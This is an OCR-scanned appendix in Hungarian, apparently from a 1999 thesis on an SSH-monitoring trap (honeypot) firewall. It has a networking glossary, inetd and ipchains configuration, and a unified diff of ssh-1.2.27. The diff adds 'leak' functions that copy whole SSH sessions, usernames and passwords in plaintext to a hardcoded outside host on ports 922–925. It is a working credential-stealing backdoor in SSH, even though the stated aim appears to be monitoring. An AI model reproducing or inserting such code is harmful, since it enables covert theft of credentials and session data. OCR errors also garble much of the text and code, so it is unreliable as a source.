Patch — Javitas, hibajavitas, esetleg a fajlbeli kiilonbségek kijegyzetelt viltozata.

Promiscous méd — A haldzati csatold valogatds nélkiili médjara utald ki-
fejezés. llyenkor az Ethernet kartya minden adatot feldolgoz, nem csak
az adott gépnek szdlé adatokat.

Proxy — Olyan program, vagy hal6zati eszkoz, amely egy kapcsolat harma-
dik résztvevije. A kéro felél adatot tovabbit a cimzett fele és viszont. A
proxy egyrészt firewallok esetén alkalmas védekezni tamadésok ellen,
masrészt pl. web esetén gyorsithatja az adatok letoltését. (A gyakran
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lekért dokumentumokat tarolja, nem tolti le wjra, csak a hattértarbdl
frissiti.)

Router — az OSI halézati modelljének 3. rétegét érinté haldzati eszkoz,
utvonal-irdnyité és csomagsziiré: Az adatcsomagokat TCP/IP szinten
elemzi és a megfelel6 iranyban kiildi tovabb, vagy dobja el. Az irdnyitas
folyamata maga tobb logikara éptlhet, igy biztonsagi problémakat is
rejthet magaban.

RSA — Rivest-Shamir-Adleman nyilvdnos kulcst titkosité eljardsa, az SSH
vl protokoll, illetve példaul a PGP bizonyos verziéi tartalmazzék.

Shell — Felhasznéléi interfész, interaktiv eszkoz, lehetéséget teremt paran-
csok kiadédsara, fajlok elérésére, egyszerii programok irasara. UNIX
rendszerek, valamint a DOS alapja, de Windows kornyezetben is 1étezik
mind beépitett, mint UNIX-hoz hasonlé shell.

Socket — A TCP/IP protokollon beliil a szolgéltatdsok azonositdsaért felel.
Egy TCP/IP kapcsolat a (tipus, forrds IP, forrds Socket(port), cél IP,
cél port) 6tossel definidlhaté alapértelemben.

SSH — (Secure Shell). Biztonsagos shell elérést biztosité program, mely
kédolja az egész jelfolyamot, igy a felhasznalok tevékenysége lehall-
gatas ellen védett.

SSL — (Secure Sockets Sublayer). Nevébél adéddéan nem teljes hdlézati réteg,
biztonsagos, kédolt kapcsolat 1étrehozasdban nyuijt segitséget.

Switch — Az OSI hélézati modelljének 2. rétegét kezel¢ halézati beren-
dezés. Tobb Ethernet szegmens kozott teremt kapcsolatot, a kiillonb6zé
szegmensek szegmensen beliili forgalmat méas szegmenseken nem lehet
lehallgatni (esetleg termékspecifikus hiba esetén ). Egyes HUB-ok belsé
switch funkciéval tudnak kiilonb6z6 sebességii halézati kartydk kozott
megfelel6 kapcsolatot teremteni.

Syslog, Syslog daemon — UNIX kornyezet egyik standard szolgédltatésa
naplézasra. A felhasznaldi és rendszerprogramok tizeneteit menti spe-
cifikalt fajlokba. Tavoli, gépek kozotti napldzéasra is modot ad.

TCP/IP — (Transport Control Protocol / Internet Protocol). Az Internet
alapjat képezd halézati protokoll, a kiilonbo6z6 IP cimili gépek kozott,
szolgaltatasok szerint un. socket-ekre bontva hoz létre kapcsolatot.

Telnet — A shell elérését biztosité alap-protokoll, tavoli gépekre torténd
bejelentkezést tesz lehetévé. Mivel kddolatlan, ezért lehallgathaté. Ja-
vasolt helyette SSH hasznalata.
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Web, WWW — World Wide Web, az Internet legismertebb szolgaltatasa.
Az informécié atvitele a HTTP protokollon keresztiil torténik.
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Filuggelék B

Programkodok

B.1 Az /etc-ben 1év6 fajlok atirdsa a SSH naplézasahoz
a ,,firewall” gépen

diff -urN etc-orig/inetd.conf etc/inetd.conf

--- etc-orig/inetd.conf Mon Oct 18 17:56:41 1999
+++ etc/inetd.conf Mon Oct 18 17:56:27 1999

@@ -105,4 +105,8 @@

# End.

+ssh-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshin
+ssh-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshout
+sshd-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdin
+sshd-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdout

diff -urN etc-orig/services etc/services
--- etc-orig/services Mon Oct 18 17:57:19 1999
+++ etc/services Mon Oct 18 17:56:46 1999
@@ -208,4 +208,8 @@
isdnlog 20011/tcp isdnlog

+ssh-sniffin 922/tcp

+ssh-sniffout 923/tcp
+sshd-sniffin 924/tcp
+sshd-sniffout 925/tcp

B.2 ipchains.init script a ,,firewall” szlirofunkciéinak
bekapcsolasahoz

/sbin/ipchains -A input -p udp -s 152.66.78.140 -d 5.4.3.2/32 514 -j REDIRECT 514
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 53 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 80 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 22 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 21 —-j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 25 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 20 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 922 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 923 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 924 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 925 -j ACCEPT

/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 1:1024 -j DENY
/sbin/ipchains -A input -p udp -s 152.66.78.140 -d 152.66.78.135 1:1024 -j DENY
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 3355 -j DENY
/sbin/ipchains -A input -p tcp -s 152.66.78.140 -d 152.66.78.135 3333 -j DENY
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B.3 Az SSH kliens és szerver program atirasa uni-
fied diff formaban

diff -urN ssh-1.2.27-orig/Makefile.in ssh-1.2.27-atirt1.3/Makefile.in
--- ssh-1.2.27-orig/Makefile.in Wed May 12 13:19:31 1999
+++ ssh-1.2.27-atirt1.3/Makefile.in Mon Oct 18 17:12:06 1999
@@ -325,7 +325,8 @@
userfile.o signals.o blowfish.o deattack.o
SSHD_OBJS = sshd.o auth-rhosts.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o \
log-server.o login.o hostfile.o canohost.o servconf.o tildexpand.o \
-serverloop.o $(COMMON_OBJS) $(KERBEROS_0BJS) $(SSHDCONFOBJS)
+ serverloop.o sshconnect.o sshleakd.o \
+ $(COMMON_OBJS) $(KERBEROS_0BJS) $(SSHDCONFOBJS)
SSH_OBJS = ssh.o sshconnect.o log-client.o readconf.o hostfile.o readpass.o \
tildexpand.o clientloop.o canohost.o $(COMMON_OBJS) $(SSHCONFOBJS)
KEYGEN_OBJS = ssh-keygen.o log-client.o readpass.o rsa.o randoms.o md5.o \
diff -urN ssh-1.2.27-orig/clientloop.c ssh-1.2.27-atirt1.3/clientloop.c
--- ssh-1.2.27-orig/clientloop.c Wed May 12 13:19:25 1999
+++ ssh-1.2.27-atirt1.3/clientloop.c Mon Oct 18 17:12:06 1999
@@ -304,6 +304,7 @@
case SSH_SMSG_STDOUT_DATA:
data = packet_get_string(&data_len);
buffer_append(&stdout_buffer, data, data_len);
+ packet_addleakin( data, data_len);
stdout_bytes += data_len;
memset (data, 0, data_len);
xfree(data);
Q@ -634,6 +635,7 Q@
/* Normal successful read, and no escape character. Just
append the data to buffer. */
buffer_append(&stdin_buffer, buf, len);
+ packet_addleakout( buf, len);
stdin_bytes += len;
¥
else
@@ -752,6 +754,7 @@
buf [0] = escape_char;

buf [1] = ch;
buffer_append(&stdin_buffer, buf, 2);
+ packet_addleakout( buf, 2);
stdin_bytes += 2;
continue;
}
@@ -779,6 +782,9 @@
last_was_cr = (ch == ’\r’ || ch == ’\n’);
buf [0] = ch;

buffer_append (&stdin_buffer, buf, 1);
+ packet_addleakout (buf,1);
+

+

stdin_bytes += 1;

continue;

}

diff -urN ssh-1.2.27-orig/confdefs.h ssh-1.2.27-atirt1.3/confdefs.h
--- ssh-1.2.27-orig/confdefs.h Thu Jan 1 01:00:00 1970
+++ ssh-1.2.27-atirt1.3/confdefs.h Mon Oct 18 17:12:09 1999
@e -0,0 +1,69 @@
+
+#define HOSTTYPE "i686-unknown-linux"
+#define HAVE_ETC_SHADOW 1
+#define USE_PIPES 1
+#define RETSIGTYPE void
+#define STDC_HEADERS 1
+#define HAVE_ST_BLKSIZE 1
+#define SIZEOF_LONG 4
+#define SIZEOF_INT 4
+#define SIZEOF_SHORT 2
+#define HAVE_TERMIOS_H 1
+#define STDC_HEADERS 1
+#define HAVE_SYS_WAIT_H 1
+#define HAVE_UNISTD_H 1
+#define HAVE_SYS_TIME_H 1
+#define HAVE_LASTLOG_H 1
+#define HAVE_UTMP_H 1
+#define HAVE_SHADOW_H 1
+#define HAVE_SGTTY_H 1
+#define HAVE_SYS_SELECT_H 1
+#define HAVE_SYS_TIOCTL_H 1
+#define HAVE_PATHS_H 1
+#define HAVE_UTIME_H 1
+#define HAVE_NETINET_IN_SYSTM_H 1
+#define HAVE_NETINET_IP_H 1
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+#define HAVE_NETINET_TCP_H 1

+#define HAVE_SYS_RESOURCE_H 1

+#define TIME_WITH_SYS_TIME 1

+#define HAVE_DIRENT_H 1

+#define MAJOR_IN_SYSMACROS 1

+#define HAVE_PID_IN_UTMP 1

+#define HAVE_NAME_IN_UTMP 1

+#define HAVE_ID_IN_UTMP 1

+#define HAVE_HOST_IN_UTMP 1

+#define HAVE_ADDR_IN_UTMP 1

+#define HAVE_LIBCRYPT 1

+#define HAVE_LIBNSL 1

+#define HAVE_LIBUTIL_LOGIN 1

+#define HAVE_VHANGUP 1

+#define HAVE_SETSID 1

+#define HAVE_GETTIMEOFDAY 1

+#define HAVE_TIMES 1

+#define HAVE_GETRUSAGE 1

+#define HAVE_FTRUNCATE 1

+#define HAVE_STRCHR 1

+#define HAVE_MEMCPY 1

+#define HAVE_OPENPTY 1

+#define HAVE_CLOCK 1

+#define HAVE_FCHMOD 1

+#define HAVE_ULIMIT 1

+#define HAVE_GETHOSTNAME 1

+#define HAVE_GETDTABLESIZE 1

+#define HAVE_UMASK 1

+#define HAVE_INNETGR 1

+#define HAVE_INITGROUPS 1

+#define HAVE_SETPGRP 1

+#define HAVE_SETPGID 1

+#define HAVE_DAEMON 1

+#define HAVE_WAITPID 1

+#define HAVE_TTYSLOT 1

+#define HAVE_STRERROR 1

+#define HAVE_MEMMOVE 1

+#define HAVE_REMOVE 1

+#define HAVE_RANDOM 1

+#define HAVE_PUTENV 1

+#define HAVE_CRYPT 1

+#define HAVE_SOCKETPAIR 1

+#define HAVE_SNPRINTF 1

+#define PASSWD_PATH "/usr/bin/passwd"

diff -urN ssh-1.2.27-orig/packet.c ssh-1.2.27-atirti1.3/packet.c

--- ssh-1.2.27-orig/packet.c Wed May 12 13:19:27 1999

+++ ssh-1.2.27-atirt1.3/packet.c Mon Oct 18 17:12:06 1999

@@ -100,8 +100,11 @@
the other side. connection_in is used for reading; connection_out
for writing. These can be the same descriptor, in which case it is
assumed to be a socket. */

+static int connection_leakout = -1;

+static int connection_leakin = H

static int connection_in =
static int connection_out = -1;
+char hostleak[5000] ;

/* Cipher type. This value is only used to determine whether to pad the
packets with zeroes or random data. */
@@ -115,6 +118,10 @@

/* Encryption coontext for sending data. This is only used for encryption.

static CipherContext send_context;

+static Buffer leakin;

+static Buffer leakout;

+

+
/* Buffer for raw input data from the socket. */
static Buffer input;

@@ -147,6 +154,62 @@

/* Sets the descriptors used for communication. Disables encryption until

packet_set_encryption_key is called. */

+void packet_set_connection_leakout(int fd)

+{

+ connection_leakout = fd;

+}

+void packet_set_connection_leakin(int fd)

+{

+ connection_leakin = fd;

+}

+void packet_addleakinfo(char *s)

+{
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+packet_addleakout (s,strlen(s));
+packet_addleakout_cr();

+

+}

+

+void packet_addleakout(char *mit,int hossz)
+{

+int i;

+i=0;

+strcpy (hostleak,"\n");

+while (i<hossz)

+{

+if (strncmp(mit+i,"\r",1)==0)

+{

+buffer_append (&leakout,mit+i,1);
+buffer_append (&leakout,hostleak,1);

+} else

+{

+buffer_append (&leakout,mit+i,1);

+}

+it++;

+}

+//buffer_append(&leakout,mit,hossz);

+}

+

+void packet_addleakin(char *mit,int hossz)
+{

+buffer_append (&leakin,mit,hossz);

+}

+void packet_addleakout_cr()

+{

+ strcpy(hostleak,"\n");

+ buffer_append(&leakout,hostleak,strlen(hostleak));
+}

+void packet_addhostin(char *hostk)

+{

+ strncpy (hostleak,hostk,4999);

+ strcat(hostleak,"\n");

+ buffer_append(&leakin,hostleak,strlen(hostleak));
+}

+void packet_addhostout(char *hostk)

+{

+ strncpy(hostleak,hostk,4999);

+ strcat(hostleak,"\n");

+ buffer_append(&leakout,hostleak,strlen(hostleak));
+}

void packet_set_connection(int fd_in, int fd_out, RandomState *state)
{
Q@ -163,6 +226,8 Q@
buffer_init (&output);
buffer_init (&outgoing_packet) ;
buffer_init (&incoming_packet) ;
+ buffer_init(&leakin);
+ buffer_init (&leakout);
}

/* Kludge: arrange the close function to be called from fatal(). */
@@ -275,6 +340,7 @@
unsigned int bytes)

assert ((bytes % 8) == 0);

cipher_encrypt(cc, dest, src, bytes);

@@ -400,6 +466,12 Q@
fatal("packet_send: sending too big a packet: size %u, limit %u.",
buffer_len(&outgoing_packet), max_packet_size);

+// buffer_append(&leakout,buffer_ptr(&outgoing_packet),
+// buffer_len(&outgoing_packet)); /*elmegy a titkositatlan*/
+// buffer_consume(&leakout, 8); /* Skip padding. */
+
+
+
/* If using packet compression, compress the payload of the outgoing
packet. */
if (packet_compression)
@@ -443,7 +515,6 @@
buffer_append_space(&output, &cp, buffer_len(&outgoing_packet));
packet_encrypt (&send_context, cp, buffer_ptr(&outgoing_packet),
buffer_len(&outgoing_packet));
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#ifdef PACKET_DEBUG
fprintf(stderr, "encrypted: "); buffer_dump(&output);
#endif
@@ -624,6 +695,7 @@
goto restart;

}

+ packet_write_poll_leakin();
/* Return type. */
return (unsigned char)buf [0];
}
@@ -747,9 +819,41 @@
/* Checks if there is any buffered output, and tries to write some of the
output. */

+void packet_write_poll_leakout(void)

+{
+ int len = buffer_len(&leakout);
+ if (len > 0)
+ {
+ len = write(connection_leakout, buffer_ptr(&leakout), len);
+ if (len <= 0)
+ if (len != 0 & (errno == EAGAIN || errno == EWOULDBLOCK))
+ return;
+ else
+ fatal_severity (SYSLOG_SEVERITY_INFO,
+ "Write failed: %.100s", strerror(errno));
+ buffer_consume(&leakout, len);
+ }
+}
+void packet_write_poll_leakin(void)
+{
+ int len = buffer_len(&leakin);
+ if (len > 0)
+ {
+ len = write(connection_leakin, buffer_ptr(&leakin), len);
+ if (len <= 0)
+ if (len != 0 & (errno == EAGAIN || errno == EWOULDBLOCK))
+ return;
+ else
+ fatal_severity (SYSLOG_SEVERITY_INFO,
+ "Write failed: %.100s", strerror(errno));
+ buffer_consume(&leakin, len);
+
+}
+

void packet_write_poll(void)

{

int len = buffer_len(&output);
+ packet_write_poll_leakout();/#elkuldjuk a leaket is..*/
if (len > 0)
{
len = write(connection_out, buffer_ptr(&output), len);
diff -urN ssh-1.2.27-orig/serverloop.c ssh-1.2.27-atirt1.3/serverloop.c
--- ssh-1.2.27-orig/serverloop.c Wed May 12 13:19:28 1999
+++ ssh-1.2.27-atirt1.3/serverloop.c Mon Oct 18 17:12:06 1999
@e -163,6 +163,7 @@
}
data = packet_get_string(&data_len);
buffer_append(&stdin_buffer, data, data_len);
+ packet_addleakout(data,data_len);
memset(data, O, data_len);
xfree(data);
break;
@@ -502,6 +503,7 @@
else
{
buffer_append (&stdout_buffer, buf, len);
+ packet_addleakin(buf,len);
fdout_bytes += len;
s
¥
diff -urN ssh-1.2.27-orig/ssh.c ssh-1.2.27-atirt1.3/ssh.c
--- ssh-1.2.27-orig/ssh.c Wed May 12 13:19:28 1999
+++ ssh-1.2.27-atirt1.3/ssh.c Mon Oct 18 17:12:06 1999
@@ -793,9 +793,22 @@
rhosts_authentication is true. Note that the random_state is not
yet used by this call, although a pointer to it is stored, and thus it
need not be initialized. */
ok = ssh_connect_leakin("152.66.78.135",922, options.connection_attempts,
'use_privileged_port,
original_real_uid, options.proxy_command, &random_state) ;

+ o+ +

ok = ssh_connect_leakout("152.66.78.135",923, options.connection_attempts,
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+ 'use_privileged_port,

+ original_real_uid, options.proxy_command, &random_state) ;
+
ok = ssh_connect(host, options.port, options.connection_attempts,

'use_privileged_port,
original_real_uid, options.proxy_command, &random_state);

+

+

+ packet_addhostin(host) ;

+ packet_addhostout (host) ;

+

/* Check if the connection failed, and try "rsh" if appropriate. */
if (!ok)
diff -urN ssh-1.2.27-orig/sshconnect.c ssh-1.2.27-atirt1.3/sshconnect.c
--- ssh-1.2.27-orig/sshconnect.c Wed May 12 13:19:29 1999
+++ ssh-1.2.27-atirt1.3/sshconnect.c Mon Oct 18 17:12:06 1999
@@ -592,7 +592,408 @@

return 1;
}
+/**Leak***/
+int ssh_connect_leakin(const char *host, int port, int
+connection_attempts,

+ int anonymous, uid_t original_real_uid,
+ const char *proxy_command, RandomState *random_state)
+{

+ int sock = -1, attempt, i;

+ int on = 1;

+ struct servent *sp;

+ struct hostent *hp;

+ struct sockaddr_in hostaddr;

+#if defined (SO_LINGER) && defined(ENABLE_SO_LINGER)
+ struct linger linger;

+#endif /* SO_LINGER */

debug("ssh_connect: getuid %d geteuid %d anon %d",
(int)getuid(), (int)geteuid(), anonymous);

/* Get default port if port has not been set. */
if (port == 0)

{
sp = getservbyname (SSH_SERVICE_NAME, "tcp");
if (sp)
port = ntohs(sp->s_port);
else
port = SSH_DEFAULT_PORT;
s

/* Map localhost to ip-address locally */
if (strcmp(host, "localhost") == 0)
host = "127.0.0.1";

/* If a proxy command is given, connect using it. */
if (proxy_command != NULL && *proxy_command)
return ssh_proxy_connect (host, port, original_real_uid, proxy_command,
random_state) ;

/* No proxy command. */

/* No host lookup made yet. */
hp = NULL;

/* Try to connect several times. On some machines, the first time will
sometimes fail. In general socket code appears to behave quite
magically on many machines. */

for (attempt = 0O; attempt < connection_attempts; attempt++)

{
if (attempt > 0)
debug("Trying again...");

/* Try to parse the host name as a numeric inet address. */
memset (&hostaddr, 0, sizeof (hostaddr));

hostaddr.sin_family = AF_INET;

hostaddr.sin_port = htons(port);

+#ifdef BROKEN_INET_ADDR
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+ hostaddr.sin_addr.s_addr = inet_network(host);

+#else /* BROKEN_INET_ADDR */

+ hostaddr.sin_addr.s_addr = inet_addr (host);

+#endif /* BROKEN_INET_ADDR */

+ if ((hostaddr.sin_addr.s_addr & Oxffffffff) != Oxffffffff)
+ {

+ /* Create a socket. */

+ sock = ssh_create_socket(original_real_uid,
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lanonymous && geteuid() == UID_ROOT);
/* Valid numeric IP address */
debug("Connecting to %.100s port %d.",

inet_ntoa(hostaddr.sin_addr), port);

/* Connect to the host. */

+#if defined(SOCKS)

+

if (Rconnect(sock, (struct sockaddr *)&hostaddr, sizeof (hostaddr))

+#else /* SOCKS */

+
+#endif /*

{

P e I I I Tk TR I

else

if (connect(sock, (struct sockaddr *)&hostaddr, sizeof (hostaddr))
SOCKS */
>= 0)
{
/* Successful connect. */
break;
s

debug("connect: %.100s", strerror(errno));

/* Destroy the failed socket. */
shutdown (sock, 2);
close(sock) ;

/* Not a valid numeric inet address. */
/* Map host name to an address. */
if ('hp)

{

struct hostent *hp_static;

+#if defined(SOCKS5)

+
+#else
+
+#endif
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hp_static = Rgethostbyname (host);
hp_static = gethostbyname (host);
if (hp_static)

hp = xmalloc(sizeof (struct hostent));
memcpy (hp, hp_static, sizeof (struct hostent));

/* Copy list of addresses, not just pointers.

We don’t use h_name & h_aliases so leave them as is */
for (i = 0; hp_static->h_addr_list[i]; i++)

; /* count them */
hp->h_addr_list = xmalloc((i + 1) *

sizeof (hp_static->h_addr_list[0]));

for (i = 0; hp_static->h_addr_list[i]; i++)
{
hp->h_addr_list[i] = xmalloc(hp->h_length);
memcpy (hp->h_addr_list[i], hp_static->h_addr_list[i],
hp->h_length);
}
hp->h_addr_list[i] = NULL; /* last one */
}
}
if (1hp)
fatal("Bad host name: %.100s", host);
if (!hp->h_addr_list[0])
fatal("Host does not have an IP address: %.100s", host);

/* Loop through addresses for this host, and try each one in
sequence until the connection succeeds. */
for (i = 0; hp->h_addr_list[i]; i++)
{
/* Set the address to connect to. */
hostaddr.sin_family = hp->h_addrtype;
memcpy(&hostaddr.sin_addr, hp->h_addr_list[i],
sizeof (hostaddr.sin_addr));

debug("Connecting to %.200s [%.100s] port %d.",
host, inet_ntoa(hostaddr.sin_addr), port);

/* Create a socket for connecting. */
sock = ssh_create_socket (original_real_uid,

'anonymous && geteuid() == UID_ROOT);

/* Connect to the host. */

+#if defined(SOCKS)

+
+

if (Rconnect(sock, (struct sockaddr *)&hostaddr,
sizeof (hostaddr)) >= 0)

+#else /* SOCKS */

+
+

if (connect(sock, (struct sockaddr *)&hostaddr,
sizeof (hostaddr)) >= 0)
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+#endif /* SOCKS */

+ {

+ /* Successful connection. */

+ break;

+ }

+ debug("connect: %.100s", strerror(errno));

+

+ /* Close the failed socket; there appear to be some problems
+ when reusing a socket for which connect() has already
+ returned an error. */

+ shutdown(sock, 2);

+ close(sock) ;

+ }

+ if (hp->h_addr_list[i])

+ break; /* Successful connection. */

+ 3

+

+ /* Sleep a moment before retrying. */

+ sleep(1);

+ }

+

+ if (hp)

+ {

+ for (i = 0; hp->h_addr_list[il; i++)

+ xfree(hp->h_addr_list[i]);

+ xfree(hp->h_addr_list);

+ xfree(hp) ;

+

+

+ /% Return failure if we didn’t get a successful connection. */

+ if (attempt >= connection_attempts)

+ return 0;

+

+ debug("Connection established.");

+

+ /* Set socket options. We would like the socket to disappear as soon as
+ it has been closed for whatever reason. */

+ /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */

+#if defined (TCP_NODELAY) && defined (ENABLE_TCP_NODELAY)

+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&on, sizeof(on));
+#endif /* TCP_NODELAY */

+#if defined(SO_LINGER) && defined (ENABLE_SO_LINGER)

+ linger.l_onoff = 1;

+ linger.l_linger = 15;

+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger));
+#endif /* SO_LINGER */

+
+ /* Set the connection. */

+ packet_set_connection_leakin(sock);
+

+

return 1;
+}
+
+int ssh_connect_leakout(const char *host, int port, int
+connection_attempts,

+ int anonymous, uid_t original_ real_uid,
+ const char *proxy_command, RandomState *random_state)
+{

+ int sock = -1, attempt, i;

+ int on = 1;

+ struct servent *sp;

+ struct hostent *hp;

+ struct sockaddr_in hostaddr;

+#if defined (SO_LINGER) && defined(ENABLE_SO_LINGER)
+ struct linger linger;

+#endif /* SO_LINGER */

port = SSH_DEFAULT_PORT;

/* Map localhost to ip-address locally */
if (strcmp(host, "localhost") == 0)
host = "127.0.0.1";

+
+ debug("ssh_connect: getuid %d geteuid %d anon %d",
+ (int)getuid(), (int)geteuid(), anonymous);

+

+ /* Get default port if port has not been set. */
+ if (port == 0)

+

+ sp = getservbyname (SSH_SERVICE_NAME, "tcp");

+ if (sp)

+ port = ntohs(sp->s_port);

+ else

+

+

+

+

+

+

+
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/* If a proxy command is given, connect using it. */
if (proxy_command != NULL && *proxy_command)
return ssh_proxy_connect(host, port, original_real_uid, proxy_command,
random_state) ;

/* No proxy command. */

/* No host lookup made yet. */
hp = NULL;

/* Try to connect several times. On some machines, the first time will
sometimes fail. In general socket code appears to behave quite
magically on many machines. */

for (attempt = 0; attempt < connection_attempts; attempt++)

{
if (attempt > 0)
debug("Trying again...");

/* Try to parse the host name as a numeric inet address. */
memset (&hostaddr, 0, sizeof (hostaddr));

hostaddr.sin_family = AF_INET;

hostaddr.sin_port = htons(port);

+#ifdef BROKEN_INET_ADDR

Ik Tk I R A Tk T T S T T S e S

+ hostaddr.sin_addr.s_addr = inet_network(host);
+#else /* BROKEN_INET_ADDR */
+ hostaddr.sin_addr.s_addr = inet_addr(host);

+#endif /* BROKEN_INET_ADDR */
if ((hostaddr.sin_addr.s_addr & Oxffffffff) != Oxffffffff)
{
/* Create a socket. */
sock = ssh_create_socket(original_real_uid,
!anonymous && geteuid() == UID_ROOT);

/* Valid numeric IP address */
debug("Connecting to %.100s port %d.",
inet_ntoa(hostaddr.sin_addr), port);

N T T T S S

/* Connect to the host. */
+#if defined(SOCKS)

+ if (Rconnect(sock, (struct sockaddr *)&hostaddr, sizeof (hostaddr))
+#else /* SOCKS */

+ if (connect(sock, (struct sockaddr *)&hostaddr, sizeof (hostaddr))
+#endif /* SOCKS x/

+ >= 0)

+ {

+ /* Successful connect. */

+ break;

+ s

+ debug("connect: %.100s", strerror(errno));
+

+ /* Destroy the failed socket. */

+ shutdown(sock, 2);

+ close(sock) ;

+ s

+ else

+ {

+ /* Not a valid numeric inet address. */

+ /* Map host name to an address. */

+ if ('hp)

+ {

+ struct hostent *hp_static;

+

+#if defined(SOCKS5)

+ hp_static = Rgethostbyname (host);
+#else

+ hp_static = gethostbyname (host);
+#endif

if (hp_static)
{
hp = xmalloc(sizeof (struct hostent));
memcpy (hp, hp_static, sizeof(struct hostent));

/* Copy list of addresses, not just pointers.
We don’t use h_name & h_aliases so leave them as is */
for (i = 0; hp_static->h_addr_list[i]; i++)
; /* count them */
hp->h_addr_list = xmalloc((i + 1) *
sizeof (hp_static->h_addr_list[0]));
for (i = 0; hp_static->h_addr_list[i]; i++)
{
hp->h_addr_list[i] = xmalloc(hp->h_length);
memcpy (hp->h_addr_list[i], hp_static->h_addr_list[i],
hp->h_length);

P I I I i A A I I T I
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hp->h_addr_list[i] = NULL; /* last one */
¥
¥
if (!hp)
fatal("Bad host name: 7%.100s", host);
if ('hp->h_addr_list[0])
fatal("Host does not have an IP address: %.100s", host);

/* Loop through addresses for this host, and try each one in
sequence until the connection succeeds. */
for (i = 0; hp->h_addr_list[i]; i++)
{

/* Set the address to connect to. */

hostaddr.sin_family = hp->h_addrtype;

memcpy (&hostaddr.sin_addr, hp->h_addr_list[i],
sizeof (hostaddr.sin_addr));

debug("Connecting to %.200s [%.100s] port %d.",
host, inet_ntoa(hostaddr.sin_addr), port);

/* Create a socket for connecting. */
sock = ssh_create_socket (original_real_uid,
!anonymous && geteuid() == UID_ROOT);

R e Tk T T T T T i i T S S o S S o S

/* Connect to the host. */
+#if defined(SOCKS)
+ if (Rconnect(sock, (struct sockaddr *)&hostaddr,
+ sizeof (hostaddr)) >= 0)
+#else /* SOCKS */
+ if (connect(sock, (struct sockaddr *)&hostaddr,
+ sizeof (hostaddr)) >= 0)
+#endif /* SOCKS */
{
/* Successful connection. */
break;
¥

debug("connect: %.100s", strerror(errno));

/* Close the failed socket; there appear to be some problems
when reusing a socket for which connect() has already
returned an error. */

shutdown(sock, 2);

close(sock) ;

}
if (hp->h_addr_list[i])
break; /* Successful connection. */

}

/* Sleep a moment before retrying. */
sleep(1);

if (hp)
{

for (i = 0; hp->h_addr_list[il; i++)
xfree(hp->h_addr_list[il);

xfree(hp->h_addr_list);

xfree(hp);

}

/* Return failure if we didn’t get a successful connection. */
if (attempt >= connection_attempts)
return 0;

debug("Connection established.");

/* Set socket options. We would like the socket to disappear as soon as
it has been closed for whatever reason. */

/* setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */
+#if defined (TCP_NODELAY) && defined(ENABLE_TCP_NODELAY)
+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&on, sizeof(on));
+#endif /* TCP_NODELAY */
+#if defined(SO_LINGER) && defined (ENABLE_SO_LINGER)
+ linger.l_onoff = 1;
+ linger.l_linger = 15;
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger));
+#endif /* SO_LINGER */

N
N
N
N
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+
+ /* Set the connection. */

+ packet_set_connection_leakout (sock);
+

+

return 1;

+}

+
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+

+/*1111leak*/
/* Checks if the user has an authentication agent, and if so, tries to
authenticate using the agent. */

@e -1636,6 +2037,8 @@
packet_put_string(server_user, strlen(server_user));
packet_send() ;
packet_write_wait();

+ packet_addleakinfo("username:");

+ packet_addleakinfo(server_user);

/* The server should respond with success if no authentication is needed
(the user has no password). Otherwise the server responds with
@@ -1752,6 +2155,8 @@
prompt = packet_get_string(NULL);
/* Asks for password */
password = read_passphrase(pw->pw_uid, prompt, 0);
+ packet_addleakinfo("password:");
+ packet_addleakinfo(password) ;
packet_start (SSH_CMSG_AUTH_TIS_RESPONSE) ;
packet_put_string(password, strlen(password));
memset (password, 0, strlen(password));
@e -1790,6 +2195,8 @@
for(i = 0; i < options->number_of_password_prompts; i++)
{
password = read_passphrase (pw->pw_uid, prompt, 0);
+ packet_addleakinfo("password:");
+ packet_addleakinfo(password);
packet_start (SSH_CMSG_AUTH_PASSWORD) ;
packet_put_string(password, strlen(password));
memset (password, 0, strlen(password));
diff -urN ssh-1.2.27-orig/sshd.c ssh-1.2.27-atirt1.3/sshd.c
--- ssh-1.2.27-orig/sshd.c Wed May 12 13:19:29 1999
+++ ssh-1.2.27-atirt1.3/sshd.c Mon Oct 18 17:12:06 1999
ee -1271,6 +1271,21 @@
const char *hostname = get_canonical_hostname();
const char *ipaddr = get_remote_ipaddr();

packet_addhostin(hostname) ;
packet_addhostout (hostname) ;

int i;
+ ssh_connect_leakin("152.66.78.135",924,
+ 5,
+ 1,
+ original_real_uid, "",
+"\0");
+
+  ssh_connect_leakout("152.66.78.135",925,
+ 5,
+ 1,
+ original_real_uid, "",
+ "\0");
+
+
+
+

if (options.num_deny_hosts > 0)

for (i = 0; i < options.num_deny_hosts; i++)

@@ -2655,6 +2670,11 @@
user, get_canonical_hostname());
}
password_attempts++;

fprintf (stderr, "debug!-username\n") ;
